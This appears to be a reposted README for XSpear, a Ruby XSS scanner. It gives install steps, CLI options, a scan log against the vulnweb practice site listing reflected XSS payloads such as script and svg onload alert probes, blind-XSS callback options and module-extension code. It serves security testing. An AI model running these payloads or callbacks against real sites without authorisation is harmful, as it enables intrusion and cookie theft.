XSpear – Powerfull XSS Scanner and Parameter Analysis Tool

XSpear Logo - Powerfull XSS Scanning and Parameter Analysis Tool xploitlab

Cross Site Scripting (XSS) vulnerability is allowed attackers to inject client side script into web pages viewed by other users. XSS is used by attacker to bypass access control, this vulnerability is critical, attacker can overtake your system with that.

Many of website are still infected and have not yet solve with XSS vulnerability, because system administrator cannot see where the XSS is infect in their site. XSpear is a tool that can help you find Cross Site Scripting (XSS) vulnerability in your site, this tool will test request/response for XSS and also analyze your website security.

Overview

XSpear is XSS Scanner on ruby gems. Powerfull XSS Scanning and Parameter analysis tool. Coded by hahwul.

Key features

  • Pattern matching based XSS scanning
  • Detect alert confirm prompt event on headless browser (with Selenium)
  • Testing request/response for XSS protection bypass and reflected params
    • Reflected Params
    • Filtered test event handler HTML tag Special Char
  • Testing Blind XSS (with XSS Hunter , ezXSS, HBXSS, Etc all url base blind test…)
  • Dynamic/Static Analysis
    • Find SQL Error pattern
    • Analysis Security headers(CSP HSTS X-frame-optionsXSS-protection etc.. )
    • Analysis Other headers..(Server version, Content-Type, etc…)
  • Scanning from Raw file(Burp suite, ZAP Request)
  • XSpear running on ruby code(with Gem library)
  • Show table base cli-report and filtered ruletesting raw query(url)
  • Testing at selected parameters
  • Support output format cli json
    • cli: summary, filtered rule(params), Raw Query
  • Support Verbose level (quit / nomal / raw data)
  • Support custom callback code to any test various attack vectors

Installation

Install it yourself as:

$ gem install XSpear

Or install it yourself as (local file):

$ gem install XSpear-{version}.gem

Add this line to your application’s Gemfile:

gem ‘XSpear’

And then execute:

$ bundle

Dependency gems

colorize selenium-webdriver terminal-table
If you configured it to install automatically in the Gem library, but it behaves abnormally, install it with the following command.

$ gem install colorize
$ gem install selenium-webdriver
$ gem install terminal-table 

Usage on cli

Usage: xspear -u [target] -[options] [value]
[ e.g ]
$ ruby a.rb -u 'https://www.hahwul.com/?q=123' --cookie='role=admin'
 
[ Options ]
   -u, --url=target_URL             [required] Target Url
   -d, --data=POST Body             [optional] POST Method Body data
       --headers=HEADERS            [optional] Add HTTP Headers
       --cookie=COOKIE              [optional] Add Cookie
       --raw=FILENAME               [optional] Load raw file(e.g raw_sample.txt)
   -p, --param=PARAM                [optional] Test paramters
   -b, --BLIND=URL                  [optional] Add vector of Blind XSS
                                     + with XSS Hunter, ezXSS, HBXSS, etc...
                                     + e.g : -b https://hahwul.xss.ht
   -t, --threads=NUMBER             [optional] thread , default: 10
   -o, --output=FILENAME            [optional] Save JSON Result
   -v, --verbose=1~3                [optional] Show log depth
                                     + Default value: 2
                                     + v=1 : quite mode
                                     + v=2 : show scanning log
                                     + v=3 : show detail log(req/res)
   -h, --help                       Prints this help
       --version                    Show XSpear version
       --update                     Update with online 

Result types

  • (I)NFO: Get information ( e.g sql error , filterd rule, reflected params, etc..)
  • (V)UNL: Vulnerable XSS, Checked alert/prompt/confirm with Selenium
  • (L)OW: Low level issue
  • (M)EDIUM: medium level issue
  • (H)IGH: high level issue

Case by Case

Scanning XSS

xspear -u “http://testphp.vulnweb.com/search.php?test=query” -d “searchFor=yy”

json output

xspear -u “http://testphp.vulnweb.com/search.php?test=query” -d “searchFor=yy” -o json -v 1

detail log

xspear -u “http://testphp.vulnweb.com/search.php?test=query” -d “searchFor=yy” -v 3

set thread

xspear -u “http://testphp.vulnweb.com/search.php?test=query” -t 30

testing at selected parameters

xspear -u “http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul” -p cat,test

testing blind xss

xspear -u “http://testphp.vulnweb.com/search.php?test=query” -b “https://hahwul.xss.ht”

etc…

Sample log

Scanning XSS

xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=z"
    )  (
 ( /(  )\ )
 )\())(()/(          (     )  (
((_)\  /(_))`  )    ))\ ( /(  )(
__((_)(_))  /(/(   /((_))(_))(()\
\ \/ // __|((_)_\ (_)) ((_)_  ((_)
 >  < \__ \| '_ \)/ -_)/ _` || '_|
/_/\_\|___/| .__/ \___|\__,_||_|    />
           |_|                   \ /<
{\\\\\\\\\\\\\BYHAHWUL\\\\\\\\\\\(0):::<======================-
                                 / \<
                                    \>       [ v1.0.7 ]
[*] creating a test query.
[*] test query generation is complete. [149 query]
[*] starting test and analysis. [10 threads]
[I] [00:37:34] reflected 'XsPeaR
[-] [00:37:34] 'cat' Not reflected |XsPeaR
[I] [00:37:34] [param: cat][Found SQL Error Pattern]
[-] [00:37:34] 'STATIC' not reflected
[I] [00:37:34] reflected "XsPeaR
[-] [00:37:34] 'cat' Not reflected ;XsPeaR
[I] [00:37:34] reflected `XsPeaR
...snip...
[H] [00:37:44] reflected "><iframe/src=JavaScriPt:alert(45)>[param: cat][reflected XSS Code]
[-] [00:37:44] 'cat' not reflected <img/src onerror=alert(45)>
[-] [00:37:44] 'cat' not reflected <svg/onload=alert(45)>
[-] [00:37:49] 'cat' not found alert/prompt/confirm event '"><svg/onload=alert(45)>
[-] [00:37:49] 'cat' not found alert/prompt/confirm event '"><svg/onload=alert(45)>
[-] [00:37:50] 'cat' not found alert/prompt/confirm event <xmp><p title="</xmp><svg/onload=alert(45)>">
[-] [00:37:51] 'cat' not found alert/prompt/confirm event '"><svg/onload=alert(45)>
[V] [00:37:51] found alert/prompt/confirm (45) in selenium!! <script>alert(45)</script>
               => [param: cat][triggered <script>alert(45)</script>]
[V] [00:37:51] found alert/prompt/confirm (45) in selenium!! '"><svg/onload=alert(45)>
               => [param: cat][triggered <svg/onload=alert(45)>]
[*] finish scan. the report is being generated..
+----+-------+------------------+--------+-------+-------------------------------------+--------------------------------------------+
|                                                         [ XSpear report ]                                                         |
|                                         http://testphp.vulnweb.com/listproducts.php?cat=z                                         |
|                              2019-07-24 00:37:33 +0900 ~ 2019-07-24 00:37:51 +0900 Found 12 issues.                               |
+----+-------+------------------+--------+-------+-------------------------------------+--------------------------------------------+
| NO | TYPE  | ISSUE            | METHOD | PARAM | PAYLOAD                             | DESCRIPTION                                |
+----+-------+------------------+--------+-------+-------------------------------------+--------------------------------------------+
| 0  | INFO  | DYNAMIC ANALYSIS | GET    | cat   | XsPeaR"                             | Found SQL Error Pattern                    |
| 1  | INFO  | STATIC ANALYSIS  | GET    | -     | original query                      | Found Server: nginx/1.4.1                  |
| 2  | INFO  | STATIC ANALYSIS  | GET    | -     | original query                      | Not set HSTS                               |
| 3  | INFO  | STATIC ANALYSIS  | GET    | -     | original query                      | Content-Type: text/html                    |
| 4  | LOW   | STATIC ANALYSIS  | GET    | -     | original query                      | Not Set X-Frame-Options                    |
| 5  | MIDUM | STATIC ANALYSIS  | GET    | -     | original query                      | Not Set CSP                                |
| 6  | INFO  | REFLECTED        | GET    | cat   | rEfe6                               | reflected parameter                        |
| 7  | INFO  | FILERD RULE      | GET    | cat   | onhwul=64                           | not filtered event handler on{any} pattern |
| 8  | HIGH  | XSS              | GET    | cat   | <script>alert(45)</script>          | reflected XSS Code                         |
| 9  | HIGH  | XSS              | GET    | cat   | "><iframe/src=JavaScriPt:alert(45)> | reflected XSS Code                         |
| 10 | VULN  | XSS              | GET    | cat   | <script>alert(45)</script>          | triggered <script>alert(45)</script>       |
| 11 | VULN  | XSS              | GET    | cat   | '"><svg/onload=alert(45)>           | triggered <svg/onload=alert(45)>           |
+----+-------+------------------+--------+-------+-------------------------------------+--------------------------------------------+
< Available Objects >
[cat] param
 + Available Special Char: ' \ ` ) [ } : . { ] $
 + Available Event Handler: "onActivate","onBeforeActivate","onAfterUpdate","onAbort","onAfterPrint","onBeforeCopy","onBeforeCut","onBeforePaste","onBlur","onBeforePrint","onBeforeDeactivate","onBeforeUpdate","onBeforeEditFocus","onBegin","onBeforeUnload","onBounce","onDataSetChanged","onCellChange","onClick","onDataAvailable","onChange","onContextMenu","onCopy","onControlSelect","onDataSetComplete","onCut","onDragStart","onDragEnter","onDragOver","onDblClick","onDragEnd","onDrop","onDeactivate","onDragLeave","onDrag","onDragDrop","onHashChange","onFocusOut","onFilterChange","onEnd","onFocus","onHelp","onErrorUpdate","onFocusIn","onFinish","onError","onLayoutComplete","onKeyDown","onKeyUp","onMediaError","onLoad","onMediaComplete","onInput","onKeyPress","onloadstart","onLoseCapture","onMouseOut","onMouseDown","onMouseWheel","onMove","onMouseLeave","onMessage","onMouseEnter","onMouseMove","onMouseOver","onMouseUp","onPropertyChange","onMoveStart","onProgress","onPopState","onPaste","onOnline","onMoveEnd","onPause","onOutOfSync","onOffline","onReverse","onResize","onRedo","onRowsEnter","onRepeat","onReset","onResizeEnd","onResizeStart","onReadyStateChange","onResume","onRowInserted","onStart","onScroll","onRowExit","onSelectionChange","onSeek","onStop","onRowDelete","onSelectStart","onSelect","ontouchstart","ontouchend","onTrackChange","onSyncRestored","onTimeError","onUndo","onURLFlip","onStorage","onUnload","onSubmit","ontouchmove"
 + Available HTML Tag: "meta","video","iframe","embed","script","audio","svg","object","img","frameset","applet","style","frame"
 + Available Useful Code: "document.cookie","document.location","window.location"
< Raw Query >
[0] http://testphp.vulnweb.com/listproducts.php?cat=z?cat=zXsPeaR%22
[1] http://testphp.vulnweb.com/listproducts.php?cat=z?-
[2] http://testphp.vulnweb.com/listproducts.php?cat=z?-
[3] http://testphp.vulnweb.com/listproducts.php?cat=z?-
[4] http://testphp.vulnweb.com/listproducts.php?cat=z?-
[5] http://testphp.vulnweb.com/listproducts.php?cat=z?-
[6] http://testphp.vulnweb.com/listproducts.php?cat=z?cat=zrEfe6
[7] http://testphp.vulnweb.com/listproducts.php?cat=z?cat=z%5C%22%3E%3Cxspear+onhwul%3D64%3E
[8] http://testphp.vulnweb.com/listproducts.php?cat=z?cat=z%22%3E%3Cscript%3Ealert%2845%29%3C%2Fscript%3E
[9] http://testphp.vulnweb.com/listproducts.php?cat=z?cat=z%22%3E%3Ciframe%2Fsrc%3DJavaScriPt%3Aalert%2845%29%3E
[10] http://testphp.vulnweb.com/listproducts.php?cat=z?cat=z%22%3E%3Cscript%3Ealert%2845%29%3C%2Fscript%3E
[11] http://testphp.vulnweb.com/listproducts.php?cat=z?cat=z%27%22%3E%3Csvg%2Fonload%3Dalert%2845%29%3E 

Usage on ruby code (gem library)

require 'XSPear'
 
# Set options
options = {}
options['thread'] = 30
options['cookie'] = "data=123"
options['blind'] = "https://hahwul.xss.ht"
options['output'] = json
 
# Create XSpear object with url, options
s = XspearScan.new "https://www.hahwul.com?target_url", options
 
# Scanning
s.run
result = s.report.to_json
r = JSON.parse resul 

Add Scanning Module

1) Add makeQueryPattern

makeQueryPattern('type', 'query,', 'pattern', 'category', "description", "callback funcion")
# type: f(ilterd?) r(eflected?) x(ss?)
# category i(nfo) v(uln) l(ow) m(edium) h(igh) 
 
# e.g 
# makeQueryPattern('f', 'XsPeaR,', 'XsPeaR,', 'i', "not filtered "+",".blue, CallbackStringMatch) 

2) if other callback, write callback class override ScanCallbackFunc e.g

class CallbackStringMatch < ScanCallbackFunc
   def run
     if @response.body.include? @query
       [true, "reflected #{@query}"]
      else
        [false, "not reflected #{@query}"]
      end
    end
  end 

Parent class(ScanCallbackFunc)

class ScanCallbackFunc()
  def initialize(url, method, query, response)
    @url = url
    @method = method
    @query = query
    @response = response
    # self.run
  end
    
  def run
    # override
  end
end 

Common Callback Class

  • CallbackXSSSelenium
  • CallbackErrorPatternMatch
  • CallbackCheckHeaders
  • CallbackStringMatch
  • CallbackNotAdded etc…

Update

if nomal user

$ gem update XSpear

if developers (soft)

$ git pull -v

if develpers (hard)

$ git reset –hard HEAD; git pull -v

Development

After checking out the repo, run bin/setup to install dependencies. Then, run rake spec to run the tests. You can also run bin/console for an interactive prompt that will allow you to experiment.

To install this gem onto your local machine, run bundle exec rake install. To release a new version, update the version number in version.rb, and then run bundle exec rake release, which will create a git tag for the version, push git commits and tags, and push the .gem file to rubygems.org.

Screenshot

XSpear - Powerfull XSS Scanner and Parameter Analysis Tool
XSpear - Powerfull XSS Scanner and Parameter Analysis Tool xploitlab

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